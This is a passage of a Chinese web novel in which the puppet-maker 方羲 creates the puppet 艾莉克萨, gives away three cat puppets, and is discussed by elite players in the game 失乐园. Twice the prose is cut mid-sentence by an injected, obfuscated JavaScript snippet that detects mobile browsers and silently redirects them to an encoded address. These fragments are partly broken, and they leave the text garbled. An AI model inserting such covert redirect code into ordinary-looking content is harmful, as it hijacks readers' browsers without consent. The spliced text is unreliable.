这也是密匙玩家的价值所在，他们往往能从一次又一次的高危战场中取得胜利，精神上的自我修复能力也比普通玩家要强悍得多。 楚嘉薇和宋白玉二人，已经足足七天没有下线，严重超过了正常的游戏时间。 但他们再又一次从高危战场上存活下来，反而神色轻松，并不在意这点影响健康的小细节。 宋白玉扫了一眼全场，眼尖地发现其中还是少了几个人。 这很正常，当然不能要求所有密匙玩家放下任务，否则容易让游戏的运行造成瘫痪。 特别是站在最顶层的那一位玩家。 “经过这一次的突发事件，我们顺利修补了十三环的所有缺口。”孟逢霜平静地略过那一连串的死亡名单。 她继续说：“除此之外，想必你们也都收到了一份特殊通知。在短短的十五天内，失乐园出现了三个全新的锚点。” 全场静默。 建立新的锚点——近百年来，没有任何一个人能做到这种地步，这已经是存于理论上的妄想。 只有一百年前，一批创造《失乐园》的先行者，才拥有这份强悍的能力。 但当最后一名先行者死亡之后，帝国、或者说全星际的人类，再也没有出现过类似的人。 他们现在也只是踩着先行者曾经搭建过的模型，修修补补，勉强维持着这座将落未落的谎言而已。 “我无法查询到三个锚点建立的具体时间，如果不是第三个锚点建立在异端重度侵蚀的星球，达成瞬间净化的效果。权限最高的001号系统因此苏醒，否则连我也无法察觉到这个惊人的变化。”孟逢霜看向楚嘉薇和宋白玉。 “请向大家陈述一遍，你们那天所遭遇的一切吧。”孟逢霜说，“我已经听过一遍你们的陈述，即使你们坚持认为那是一只异端，但我认为——” 孟逢霜忽然一顿。 在浮空岛的核心区中，层数越高的区域，也意味着防御度越强。 这是仅仅属于真实与密匙玩家，最纯净无暇的领域。 先不说这只善于隐藏气息的异端，是如何躲过进入浮空岛的初始检测——毕竟很久以前，也不是没有类似的事件。 可是，它是怎么越过一层又一层的检测，毫无痕迹地抵达他们所处的第八层区域呢？ 两秒后。 宋白玉猛地反应过来。 有入侵者！ ——就站在他的前面！ 一团类似人型的诡异黑雾。 随后，不少玩家也意识到空间内似乎出现了一个什么陌生的东西，全体猎人玩家下意识召唤出武器，直接朝宋白玉前面的那天黑雾远程攻击。 “哒。” 黑羊少女不轻不重地将镰刀往地面一敲。 所有子弹、能量光影、尖刃，在一瞬间被反射出去。 在这个庞大的空间炸裂开来。 黑雾随之消散。 “烦” “不喜欢” “讨厌” “主人才不会这么对我” 艾莉克萨神色漠然地看着这些人类。 然后，她慢慢将眼珠子转向正面对着她的宋白玉。 “主人说，你是我的使用者。” 一道僵硬、死板的冰冷声音响起。 这是傀儡第一次对创造者之外的人类说话。 人类的眼眸也倒映出少女的身影。 手握巨大镰刀，头生黑羊之角，身如不死石像。 明明她在抬着头，仰望。 却像是，神明垂下的一瞥。 “我是艾莉克萨。” “我是你的眼睛，你的武器，亦是杀死异端的替行者。” 16. 第 16 章 【您的定制傀儡单已完成！】 【系统已为你自动扣除5%的手续费，金币x304000已放入个人背包。】 加上定金，方羲总共获得了380000个金币。 再一看背包里的金币总额：645190。 足足六十四万。 方羲一脸满足，快乐地躺在沙发上，再次开始摆烂。 晨乌顺势跳上来，在方羲怀里缩成一团。 小木屋内一片安详，如果忽略四周那一堆过于杂乱无章的木箱子的话。 屋外正在下着暴雨。 被艾莉克萨带回来的巨型傀儡头，正孤零零地待在外面淋雨。 前四天，方羲带着艾莉克萨进入单人副本，在她面前亲手示范如何杀死异端。 这期间疯狂通关副本而获得的属性技能书，方羲全用在了艾莉克萨身上。 傀儡的成长远比想象得快，它们的数值体系和玩家完全不同。 如果说人类需要依靠日积月累的训练、灵光一闪的顿悟和游戏道具的辅助。 那么傀儡完全与之相反，它们的眼中少有不可能达成之事，全然的离经叛道，突破了身躯和想象的拘束。 因此艾莉克萨出现在风暴领域之时，每项力量数值超过了一万——更何况，有天赋能力的加持（不会量化在具体数值上），加上她身处楚嘉薇攫取的造梦领域。 一切因素综合起来，才创造当时那场压倒性杀戮。 方羲开始刷论坛。 这四天她简直是卷生卷死，二十四小时除了必要的下线吃饭睡觉洗漱，其余所有时间都留给了艾莉克萨。 傀儡与人偶之间存在鲜明的区别。 比如，猫猫虽然喜欢黏着她，但也喜欢独自外在玩耍。偶尔被方羲忽视过久了，会委委屈屈地跑回来撒娇，试图吸引主人的注意力。 她也不是每种残肢都会吞噬入腹，有时候会嫌弃某些残肢又丑又难吃，会特地跑一大段长长的路，将它们叼出森林之外。 而艾莉克萨，很多行为都是机械模仿的产物。 但当艾莉克萨在第五天忽然拖着一只巨型傀儡头回来了，方羲也敏锐地发觉她变得不太一样了。 艾莉克萨的身躯之内，小小地冒出一簇灵魂。 “主人？” “没什么。”人偶师只是好奇地盯了黑羊少女一小会，便不在意地说。 这样也好。她想。 如果仅仅是死板僵硬的机械，那也太过无趣了。 【转赠申请已通过！】 【您的账号收到来自“社牛不想说话”的金币转赠x3000000】 嗯？？？发生了什么？ 方羲一脸懵逼，这才点开后台私信查看。 由于后台的私信实在太多了，而黑天鹅交易所的功能又很奇怪，没有拒绝接受私信的选项。 所以方羲刷论坛的时候，完全不会点击后台查看。 而之前发布的傀儡定制贴，她也已经进行了截止，然后就完全抛之脑外。 【社牛不想说话】：QAQ大佬您在吗？ 【社牛不想说话】：小心翼翼地敲门.jpg 【社牛不想说话】：我已经见到您创造的傀儡，她非常强大……大佬您有空吗？我想询问几个问题，不会耽误您太多时间！ 【社牛不想说话】：对了，尽管您不愿意用金钱衡量傀儡的价值，但我认为这些是您应得的酬劳。除了我转赠的这些之外，黑天鹅的管理者也将转移您一笔资金、高级残肢与不同等级的道具，希望这些有利于您的灵魂修养。 …… 社牛不想说话的消息从昨天晚上八点，横跨到今天的中午十二天。平均每个一两个小时，都会给她发送几条消息。 小心翼翼的打招呼→前四天凶险战场的心有余悸→对她洋洋洒洒的彩虹屁→方羲看不太懂的问题→开始沉痛地对真实区域的自我反省→询问该跟艾莉克萨最正确的相处方式…… 这个人的话唠程度和之前的踏樱简直不相上下，这个游戏里这么多外向分子吗？方羲一脸震撼。 现实世界的人对她总是避之不及，因此方羲无论是天性还是后期性格，真实的内核都极其自我，尖锐的顽固。 方羲看着满屏的对话框陷入沉默。 事实上，她完全不知道艾莉克萨出门干了什么。虽然艾莉克萨第五天回来了一趟，但以她呆呆的性格，也不会主动说出来。 而且方羲主打一个放养状态，注意力完全放在艾莉克萨带回来的巨型傀儡，压根没关注别的事情。 “傀儡师回复了吗？”楚嘉薇催了催宋白玉，她怀疑地问，“你真的有给她发送信息吗？” 宋白玉满脸发愁：“我在努力了！但她一直没理我，我也很绝望啊！” 事实上，社交技能MAX、实力又强大的宋白玉，很少遇到这种被完全无视的情况。 “可能是信息太少了，我们对这名傀儡师一无所知。”楚嘉薇说，“我的伤好得差不多了，得继续去陪解云了。” 宋白玉顿时嘴贱，他详装遗憾地摇摇头：“唉……我太可怜了，居然被团队踢出去了，现在已经沦为没人要的废物了……” 楚嘉薇冷漠地瞥了他一眼，又将视线落在坐在一边认真看书的艾莉克萨身上。 即使傀儡师非常珍贵，但他们也是独立的个体。有时候也会因为一些性格和气场原因，与被强制安排的队友合不来，导致团体的配合度大幅下降。 如果核心不能最大化发挥出应有的作用，那么其队伍也失去了意义。 “原本符瑶想要安排踏樱再次进入解云的队伍，毕竟踏樱的造梦特性和她非常契合。”楚嘉薇说。 “但被拒绝了，是吗？”宋白玉忍不住冷哼一声，“那当然了，她们是完全相反的两类人。” 解云是帝国的一等公民，更是年幼的天才。 她被家族的长辈保护得很好，性格张扬又随心所欲，无论解云犯下再严重的错误，也会有人替她收拾得一干二净。 解云和踏樱一样杀过人。 但前者是出于某种恶趣味，后者却只是为了活下去。 解云她手中握着一级公民的资源和傀儡师的特权。从一开始，她眼中就没有秩序一说。 即使对方的死因只是合作时，几句态度友善的质疑。 而个人信息因为某个意外，暴露得一干二净的踏樱，自然不愿意再与之合作。 “我一开始还疑惑失乐园为什么不读取玩家的现实信息，但现在看来，这是对的。踏樱的信息暴露，让某些新晋玩家带上了对她的有色眼镜。”宋白玉扯了扯嘴角，语气罕见的不悦。 “我真是服了解云这个小孩了，她的自尊心真的这么重要吗？连几句质疑也无法接受。”宋白玉疯狂输出。 “在死亡面前，一切细节都不重要。”楚嘉薇平静地说，“她毕竟是最有天赋的傀儡师。” “她那几个有灵魂链接的傀儡会恐惧。”宋白玉却说，“在深入异端腹部的时候，那几个傀儡居然直接躲在一边，完全不愿意给我提供视野……我差点死掉那里了，好吗？” 对猎人来说，踏入高于他们灵感的真实区域，是相当冒险的一个选择。 当时的宋白玉也是出于对解云的信任——毕竟她的傀儡的确足够强大，能够精确地提供视野。 但是他也的确没想到，解云的傀儡会恐惧，甚至不愿意发出一点点声音给他提醒。 猎人失去了唯一的盲杖。 尤其是在这种进退两难的险境之下。 “……”楚嘉薇也默认了，轻轻叹了口气。 这的确是无法反驳的事实。 傀儡的特性和行为往往与创造者有关，更何况那是沾染了灵魂的傀儡。 “她还没意识到自己是一个逃兵。”宋白玉耸耸肩道，“因为孟长官不让我把这件事告诉她。算了……事实上我也有错，犯了经验性错误，毕竟她从未直面过异端。” “哎…你真的不考虑借这个机会推掉这个任务吗？” 楚嘉薇瞥了他一眼，眼神似乎在困惑他为什么要问这样白痴的问题。 “也是。”宋白玉笑了笑。 ——楚嘉薇不是在认可解云的傀儡师天赋，她只是信任孟逢霜的决策。 十年前的新晋赛，傀儡师孟逢霜、造梦家楚嘉薇、猎人符瑶，她们是横空出世的天才，一起从底层杀到排行榜前三，将所有游戏副本屠了个遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14739191|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟逢霜，百年来唯一一个彻彻底底的天才，唯一一个能够领着队友深入异端核心探索的顶尖傀儡师，时至今日也没有任何人能够超越她过往的战绩。 曾经在巅峰时期，以一举之力庇护整个星球、拯救无数玩家性命的造梦家楚嘉薇，其领域特性被誉为“她让人类站在了与异端相同的平行线上。” 上一个异端抗性最高、直到今天也被视作战斗经典范本的猎人符瑶，曾经是从星际战争前线退役下来的军人，是最善于贯彻命令、追踪猎物、永不后退的狩猎者。 但是。 人类的光辉存在期限。 孟逢霜为了保留“正常”的人性，决定退居二线，接管黑天鹅最高管理者的职权，现在负责管理全体密匙玩家的活动，为其下达指令。 而猎人符瑶，也在长达十年的战斗中，身体遭遇无数摧残，严重到投射到现实世界真实的身体，也慢慢退居二线，辅助管理孟逢霜的工作。 仅剩造梦家楚嘉薇，还能正常的活动。但经过前几天的战斗，被另一名经验丰富的造梦家提醒：“你的眼睛再用下去，恐怕会和我一样。除了异端之物，彻底看不见正常的东西了。” 但无论如何，直到今天，某些还未中央智脑取消的副本排行榜，上面还挂着她们三个人的名字。 “踏樱不加入她的团队是件好事。”宋白玉总结道，不高兴的脸色忽然消失，激动地大喊，“等等等等！！大佬给我回复了！！！” 楚嘉薇一愣。 宋白玉立刻开了共享权限，这样两个人可以一起看。 【非专业收藏家】：正常相处就行了。你需要给她明确的命令，然后一点耐心，她的移动和反应速度会比较慢。 【非专业收藏家】：制造傀儡的技巧？呃，我也不太清楚，我都是随心情造的。有些捡来的残肢的确不太听话，但一般恐吓几句就行了。 【非专业收藏家】：猫猫沉思.jpg 宋白玉和楚嘉薇面面相觑，也陷入了沉思。 “可能这就是大道至简吧。”宋白玉没有吐槽，他的心中对非专业收藏家充满了滤镜。 换作其他傀儡师这么说，他必定会忍不住叽叽歪歪几句。 毕竟，他是亲眼见证了艾莉克萨的实力。 在危险的边界十三环区域，凭借些微的缝隙，将游戏内、游戏外的异端都杀了个遍，甚至能够脱离傀儡师的操控，独自建立一个锚点。 再然后，艾莉克萨身上【羊群中的黑羊】的天赋能力，竟然蒙蔽过一众真实玩家，抵达仅限密匙玩家出入的区域。 如果不是有傀儡师孟逢霜在，如果不是艾莉克萨的数值还没有提高到上限，如果不是傀儡主动暴露。 如果她是真正意义上的异端——两三分钟的时间，足够在场的密匙玩家失去战场前期的所有优势。 “我依然觉得不可思议，甚至到了一种恐怖的程度。”楚嘉薇叹气道，“艾莉克萨还只是一只新生的傀儡，你先和对方聊着吧，我必须离开了。” “行。” 说是聊……两个人真的只是在单纯的聊天。 一开始，方羲只是有一搭没一搭地回着。 结果她忍不住被宋白玉讲的八卦，好奇多回了几句。 然后两人的对话一发不可收拾。 方羲就这样收获了【无关紧要的八卦x99】 “没想到收藏家也是个聊天爱好者。”宋白玉一脸满足。 宋白玉对方羲的称呼直接从“大佬”变成了“收藏家。” 【社牛不想说话】：对了收藏家，我听其他玩家说起，你另一只傀儡的原型似乎来自远古时代的四脚兽。难道你是个考古学家？！ 【非专业收藏家】：猫猫沉思.jpg 【非专业收藏家】：倒也不是。说起来，你们觉得这种动物可爱吗？ 【社牛不想说话】：那当然啊！说实在的，有好几个密匙玩家这两天老来烦我，他们知道猫和艾莉克萨都是你的作品，不过都对毛茸茸的四脚兽更感兴趣。 【非专业收藏家】：好。 对方忽然丢下一句“我先去忙，下次再聊”就直接消失了。 “啊？”这个好是什么意思？ 17. 第 17 章 在真实区域，每一名傀儡师、每一个顶级傀儡都极其珍贵。 经过【黑天鹅001】与方羲的沟通，得到傀儡师的允许之后。艾莉克萨的资料很快被录入黑天鹅的傀儡档案，对一众密匙玩家公示。 真实区域已经整整三年，没有出现过一个顶级傀儡，而且很多傀儡已经磨损得厉害，不能再二次修复使用。 这一个横空出世的变数，彻底在密匙玩家中掀起滔天巨浪。 他们甚至在任务空余的时候，私底下建了一个小群。 【艾莉克萨保护协会（1099）】 时间：星历2515年8月15日 【企图上位的群友01】：请各位集思广益，该怎么把宋白玉那家伙踢出咱们密匙团（双手合十） 【厚脸皮的群友02】：昨天晚上我看见艾莉克萨站在自动售卖机前盯了很久，我本来想上去问问她是不是要吃东西，结果艾莉克萨啥也不要就走了。宋白玉这货不会穷得没给艾莉克萨小钱包吧？（震怒） 【路过的群友03】：？把我整乐了。02你只是被艾莉克萨看了一眼，就直接傻在原地不敢动了吧（我就在旁边，亲眼见证） 【厚脸皮的群友02】：滚啊！ 【忙碌的群友04】：有一说一。艾莉克萨真的不是个容易使用的傀儡，还是得让异端抗性比较高的密匙玩家来看着，她身上的戾气很重，而且性格特质非常突出，总感觉她会拒绝使用者的命令。 【爱喝可乐的群友05】：为啥这么说，我感觉艾莉克萨看上去呆呆的，怪可爱的@忙碌的群友04 【忙碌的群友04】：我估计你的异端抗性比灵感高出两倍，才会形成这种错误的“顿感”。我上次强忍着恐惧感悄咪咪跑过去和她搭话，结果被凶了好几句[你好烦][废话好多]QAQ 【路过的群友03】：这个我也赞成。估计是因为她的制作材料有“邪恶的黑山羊之角”，我只是点开了一下详情，连具体文字都还没看懂，直接san值狂掉！现在我都不敢点开其他制作材料的详情了（抹眼泪.jpg） 【厚脸皮的群友02】：我也是我也是！我估计具体的文字只有收藏家才能看见（小道消息：孟长官说她也看不见） 【企图上位的群友01】：不愧是收藏家大佬（瞳孔巨震.jpg） 【一众群友】：+1+1+1 【一心二意的群友06】：我也喜欢艾莉克萨。但是很显然，收藏家的猫猫更可爱好吧！ 【企图上位的群友01】：？？?你要不要看看咱们群名是什么！叛徒滚啊！！！（大怒.jpg） “一心二意的群友06”已被群主移出群聊。 【好奇的群友07】：话说回来，我盲猜非专业收藏家是个单纯的新人，甚至不是这一届新晋前三千之一。她很明显不熟悉我们默认的规则，不然可以直接在高级交易区发布帖子。[此消息已被群主撤回] 【忙碌的群友04】：无语凝噎.jpg 【路过的群友03】：…………。07你那天肯定是去跑任务不在场，虽然这个消息在我们自己人里也不是不能说，孟长官让001号系统查询收藏家的来历，结果密匙区所有光脑屏幕全部变成警告的红色，我到现在还心有余悸。[此消息已被群主撤回] 【忙碌的群友04】：是啊。仔细想想，有哪个系统的权限能比001要高？所以说这事是真的有点古怪…[此消息已被群主撤回] 【本群已开启全员禁言】 【群公告：本群仅限水聊，不谈正事，切勿扒马，相互尊重。请各位群友自觉遵守规则。】 【全员禁言已解锁】 【好奇的群友07】：抱歉。 “一心二意的群友06”已加入本群。 【一心二意的群友06】：谁踢的我！！！！哈哈哈哈哈我不管，反正趁你们还水群的时候，我已经抢到了收藏家的一只猫猫（优雅旋转.jpg） 【一众群友】：什么什么？！？！（大惊失色.jpg） 【一心二意的群友06】：谁让你们平时没有看高级交易区的习惯（狂笑）看这个。 [转发了一条帖子] 【高级交易区】 【标题：点击领养你的专属猫猫】 【发布者：非专业收藏家】 …… 【本群群名已被修改为“★非专业收藏家一号终极粉丝团★”】 ※ 【黑天鹅001】：您好。我谨代表黑天鹅的全体真实玩家，感谢您制作的傀儡[艾莉克萨]。 【黑天鹅001】：您的黑天鹅权限已开放至七级，70%的机密副本档案已解锁，您可以随时查看。 【黑天鹅001】：另外，根据傀儡的等级，除了五百万的资金。我们也向您发送了一个包裹，里面包含一百个净化度60以上的残肢材料、两百个高级技能书和高级道具，请注意查收。 “喵…” 猫猫满脸忧愁地看着傻乐的主人，她甚至伸出爪子拍了拍主人的脑袋。 “我肯定是在做梦。”方羲数了数账号上的几个零，这个夸张的数字直接让她失去了对金钱的概念感。 “好好好，别担心我了。”方羲回过神来，安抚猫猫，“我只是有点惊讶。” 猫猫勉强满意了，然后踩着猫步，跳进一个小木箱蜷缩成一团。 方羲扫了一眼四周，小木屋的确有点挤了，而且面积比她现实租的房子还要小。 于是方羲点开森林小木屋的设置，花了一百万金币，让系统给它升级扩建，变成一座五层大木屋。 至于装修……那是什么？有地方放东西就行。 不过，方羲走到窗边，发现暴雨已经停了，于是抱起猫猫走出木屋，让欧律狄刻开始房屋扩建。 因为房屋扩展需要等三个小时，方羲想了想干脆又买了一套防水耐用的手工桌椅，放在露天使用。 之前砍的二十条木头，还堆在一遍，没有动过，被神奇的暴雨淋了一场，甚至长出了绿色的新芽。 【一点也不普通的原木】 【它们原本是一堆活了二十年的树木，但很不幸地被某人砍下。尽管充满怨念和不解，但还是平静地接受了这个命运。比起这个，它们更想问什么时候能被使用，躺在一边不能动实在太难受了。】 方羲：“……” 她想了想，从背包拿出电锯，大致比对了一下木头的长度，将一根木头锯成短短的七段。 暂时先试做三个吧。 方羲把其中三段木块搬到手工桌脚边，然后抬起一段放在桌子中央。 猫猫也跟着跳上桌子，乖巧蹲坐在一角，金色的兽瞳好奇地看着主人的一举一动。 方羲忍不住摸了摸猫头，然后打开背包看了几眼，来自巨树掉落的眼球还剩下十四个。 方羲照例取出【上帝的雕刻刀】和【九百九十九色的颜料】 她开始雕刻新的猫猫傀儡。 和第一次想要制造金虎，却诞生了猫猫不同。方羲这一次的确是奔着纯粹的猫咪去的。 制造猫猫并不需要太过复杂的材料，只需要一根木头，还有涂在身上作为毛色的颜料。 方羲花了两天，终于雕刻出三只猫猫幼崽。 【傀儡制作成功！】 【检测到此为微型傀儡，您可以将命名权赠予第一名使用者。】 【傀儡制作详情生成中……】 【傀儡详情生成成功！】 “喵！”橘猫满脸严肃，把爪子按在最活泼的小狸花身上，又一次把它叼起来，放在柔软的猫窝里。 小狸花不甘心地爬到猫窝边缘，试图再次跑出来……但在晨乌橘猫的注视下，只好乖乖地缩了回去。 虽然只有三四个月大的小橘猫，现在却俨然承担起长者的责任。 猫窝里除了小狸花，还有貌美安静的三花和酷酷的缅因。 方羲无视在耳边一直环绕的喵喵叫，满脸星星眼，用游戏摄像机疯狂给三只猫猫幼崽拍照和录视频。 她最期待缅因猫长大后的样子，毕竟这是大型猫猫，而且长得超快。 “喵～”小橘猫跑过来蹭了蹭方羲，在地面滚了一圈，露出柔软的肚皮，眼睛闪烁着一丝委屈。 它的地盘突然出现了这么多同类！虽然它们很弱，但这让晨乌很不适应。 “别生气。”方羲揉了揉小橘猫，安慰道，“你可是我唯一的猫猫。” 呃，虽然这话听上去确实有点渣的意思。方羲默默心虚。 把三只猫猫在小木屋养了两三天，方羲作为创造者，大概熟悉了它们的性格和特性之后，才决定正式为猫猫们寻找使用者。 方羲打开论坛，准备发布帖子。尽管她非常舍不得这群猫猫，但总感觉有人比自己更需要它们。 不过，在组织语言的时候，游戏面板忽然弹出来一个提示：【您的黑天鹅权限已提升至七级，获得在高级交易区发言的权限。】 高级交易区…方羲点进去看了两眼，里面还是和上次一样，全是对傀儡的需求贴，但被接单的应该没有几个。 方羲想了想，将帖子改发在高级交易区。 至于价格…方羲直接设置为零元购，先到先得。 【标题：点击领养你的专属猫猫】 【发布者：非专业收藏家】 【发布时间：星历2515年8月15日】 【获取方式：零元购，先到先得。】 【在点击购买之前，请务必阅读完整篇傀儡介绍详情！】 【剩余量：3】 【傀儡详情如下↓】 【狸花老大】 类型：微型傀儡，中华狸花猫外型 制作材料： 一点也不普通的木头[点此查看详情] 绿色兽瞳[点此查看详情] 颜料[点此查看详情] 性格关键词：非常活泼、完全不怕人、会用爪爪跟你玩游戏。需要注意的是，老大极其热爱跑酷，会趁你不在离家出走，逃到天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14739192|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涯海角，玩够了有几率会主动回家。 饲养难度：★★ 饲养建议：记得多陪它玩。 天赋技能： 【捕猎】“这是一只身手矫健的酷猫猫。” 【模仿】“这是一只会模仿使用者的猫猫。简单的说，使用者的力量数值多大，它的力量数值也就多大。” 特殊数值如下： 异端抗性：3500（不可提升） 灵感：3200（不可提升） 腐蚀度：0 【三花老二】 类型：微型傀儡，中华三毛猫外型。 制作材料： 一点也不普通的木头[点此查看详情] 蓝色兽瞳[点此查看详情] 颜料[点此查看详情] 性格关键词：猫界美女，温驯安静，智商灵性双高。喜欢坐在一边默默看着你，不允许你离开自己的视线。 饲养难度：★ 饲养建议：没什么要说的，这是一只完美的猫猫。 天赋技能： 【庇护】“这是一只会保护使用者的好猫猫，它永远不会畏惧。” 【灵性】“这是一只灵感出众的猫猫，会引领使用者来到他需要的异端深处。” 特殊数值如下： 异端抗性：3000（不可提升） 灵感：4000（有较低概率提升） 腐蚀度：0 【缅因老三】 类型：微型傀儡，缅因猫外型。 制作材料： 一点也不普通的木头[点此查看详情] 琥珀色兽瞳[点此查看详情] 颜料[点此查看详情] 性格关键词：霸道总裁，深沉稳重。需要攻略，攻略成功后会特别黏人，可以随便rua，会主动过来蹭蹭。 饲养难度：★★★★★ 饲养建议：对使用者要求较高，谨慎选择。 天赋技能： 【不怒自威】 “这是一只酷酷的巨型猫，请耐心等待一段时间，它的成长会让你感到不可思议。更重要的是，它似乎微妙地遗传了创造者的某些灵魂特性。” 特殊数值如下： 异端抗性：3999（有较低概率提升） 灵感：3999（不可提升） 1L非专业收藏家：【本帖长期有效，以后我可能随心情多做几只，然后把傀儡信息放到这里。】 2L非专业收藏家：【这些是随便拍的图片和视频。】 [蜷缩成一团的三花猫] [试图逃狱的狸花猫] [安静待在角落的缅因猫] [看守三小只的小橘猫] [小橘猫好奇扒拉猫窝里的三只同类] 方羲忽然发现，她的帖子才发布了三分钟，三只猫猫的使用者名额瞬间被抢光。 然后冒出来的99+小红点，是无数玩家绝望的哀怨。 【31L】：我杀杀杀杀杀杀杀，是谁！是谁抢走了我的狸花猫！（发出尖锐的爆鸣声） 【166L】：呜呜呜呜呜收藏家你下次能不能预告一下啊？我刚好做任务，完全不知道你开新帖子了（爆哭） 【169L】：（撒花）（旋转）（跳跃）哈哈哈哈哈哈哈小三花是我的了！！！ 【269L】：呜呜没抢到TAT但是想冒昧问收藏家一个问题，您的三个帖子似乎没有特地提及残肢和傀儡反向侵蚀的事情，是因为残肢的净化值比较高，所以反向侵蚀比较低吗？ 即使人类反过来利用异端的残肢作为武器和材料，但他们渺小脆弱的身躯，依然会受到异端残肢的侵蚀。 这也是“净化值”存在的意义。 【非专业收藏家】回复【269L】：这是啥？ 【非专业收藏家】回复【269L】：哦…我想起来了，没事的，不用担心。因为这种侵蚀对我没有用，所以经过我改造的傀儡和残肢都消除了反向侵蚀的属性。 方羲的回答，让这个帖子再一次爆发出更高一层讨论度。 【我去！！！！真的假的…】 【@银月@银月@银月】 【瞳孔巨震.jpg】 【我也惊呆了，但仔细想想，艾莉克萨的腐蚀度确实很特别……】[此留言已被层主自行删除] 【cue一下楼上，直接在明面上讨论艾莉克萨是不是不太好？这里可是公开的交易区。】[此留言已被层主自行删除] 【虽然普通玩家知道有高级交易区，但现在只有最顶尖的那几名新晋玩家能查看具体内容，而且他们暂时也没有发言的权限。所以提一下应该没什么事，不过出于对收藏家大佬的尊重，我也建议层主赶紧把这条留言删掉。】[此留言已被层主自行删除] [963名玩家在您的帖子留言] [2144名玩家收藏了您的帖子，并加入特别关心] 原来高级交易区其实是有活人的吗……方羲陷入沉思。 18. 第 18 章 方羲和抢到猫猫的三名玩家简单沟通了一下，便让晨乌把三只幼崽逐个送上门。 【您的新晋积分已重新计算，排行发生了巨大提升。相关细分规则已解锁，请及时查看。】欧律狄刻忽然提醒。 “？” 方羲满脸疑惑地点开新晋赛的面板。 【白乌鸦】 【职业：猎人】 【排名：9999】 【积分：200000】 方羲略有纳闷：“最近打的副本能赚这么多积分吗？” 不应该啊，虽然调教艾莉克萨的那四天，她确实一直在刷单人副本，但都是很普通的游戏副本，里面压根没有真正异端的存在。 【您的积分仅有五分之一通过副本获取，剩余部分来自傀儡制作、傀儡被其他玩家使用的间接所得。】欧律狄刻解释道。 “还能这样？”方羲略有惊讶，然后才继续查看新晋赛上新出现的文字。 【您已进入新晋赛一万名内，系统已自动为您开启更高的游戏权限。】 【接下来为你介绍细分规则和建议】 一、每月二十号固定开设一次半真实的大型团队副本，难度随机，奖励丰厚。 二、在半真实副本中，无法随时使用背包，每人仅有七个物品框，总数不可超过二十个。请玩家与队友务必提前沟通，分配好各自所需的物品。 三、请各位玩家在新晋赛最终截止日期之前，尽快寻找到与自己力量特性相契合的固定队友。 【以下为团队职业完美建议】 一名傀儡师[核心]，一名造梦家[次核心]，二至三名猎人[输出] …… 团队分配建议的文字又长又啰嗦，精细到某个职业的天赋，能够匹配哪种职业天赋。 虽然可以直接根据自己的职业和天赋进行精确搜索，但方羲的职业比较特殊，这份系统攻略对她没有参考价值。 所以她直接略过，跳到第二页的近期通知。 但不知道为什么，方羲忽然感受到另外一个专属系统的存在，它看向方羲的眼神充满郁闷和委屈。 方羲继续无视。 【各位新晋玩家，现在距最后的真实试炼，还有两个月余的时间。请在最后的一段时间，做好充足的准备。包括但不限于：与队友的磨合、熟练自己的专属天赋、适当观摩全沉浸式的真实战场等。】 【在经历真实试炼之后，每一位玩家的灵感与异端抗性将会发生巨大变化，而现在新晋前十、前三千、前一万的排名，也会重新洗牌。】 【参与真实试炼有几率发生程度不同的受伤与性命之忧，请各位玩家充分考虑自身的情况，谨慎选择，是否参与本届的真实试炼。】 【附：本届真实试炼会派出一千名真实玩家和一百名密匙玩家，进行全程的场内外监管，尽全力避免新晋玩家的伤亡。】 方羲又返回来看了看关于新晋三千名的奖励。 其实，现在金钱的诱惑对她不是很大了。 重要的是“帝国移居凭证”。 实际上，方羲虽然不喜欢帝国强烈的阶级歧视，但对提升自身的公民等级也没什么执念。 但方羲想要离开生活了二十年的低等星，她待在这个鬼地方实在有点腻了。 想离开低等星并不容易，最大的阻碍是低等星的星网早已与帝国中央区域断联，偶尔会冒出一点零星的信号，更别说当地的星航场早就早在几十年前停止运营了。 低等星就像是与世隔绝之地。 想当初，方羲心底还怀着一点微末的期望，辛辛苦苦地攒了一笔钱，然后站在空旷无人的星航场面前，吹着冷风，内心只剩下一片凄凉。 即使她凭借着低等星星网上残留的联系方式，尝试向帝国中央区域，还有什么乱七八糟各级管理中心、救援中心发送求助邮件。 但没有得到丝毫回应。 时间久了，方羲也就忘记当初近乎于偏执的念头了。 因为这颗低等的星球没有任何资源上的价值吗？ 因为她只是一个普通的市民，没有任何值得救援的必要吗？ 可是。方羲又忽然想起半个月前怪异的帝国邮件。 无数曾经被割裂、被抹灭的深层情绪，在这一瞬间重新生长，冒出。 既然无法通过常规手段脱离这一切，那么借由这款奇怪的游戏，总能光明正大向帝国提出要求吧？ 一个决定骤然敲定，像是钉子钻入木板。 方羲回过神来，试图与欧律狄刻据理力争，“我一个人真的不行吗？” 【驳回！即使是您也不行。】欧律狄刻说。 “好吧。”方羲纠结了，“找队友啊……感觉有点难。” 让她挂着职业微笑去上班和顾客打交道倒是行，因为这是常年要做的事情。 至于和其他人合作，性命和胜负挂在同一条船上，那就是另一种社交行为模式了，她完全不熟悉的领域。 她熟练地点进黑天鹅，开始搜索“招募队友”“团队沟通小技巧”等相关关键词。 方羲思考了五分钟。 方羲放弃思考。 点开背包，把刚才找队友的事直接丢在一边，方羲开始琢磨还没用过的两百个高级技能书，攻击、生命、敏捷、防御各五十个，每一个高级技能书可以直接加一百点。 全部使用。 【系统检测中……检测到玩家的现实身体素质优越，允许大量使用高级技能书。】 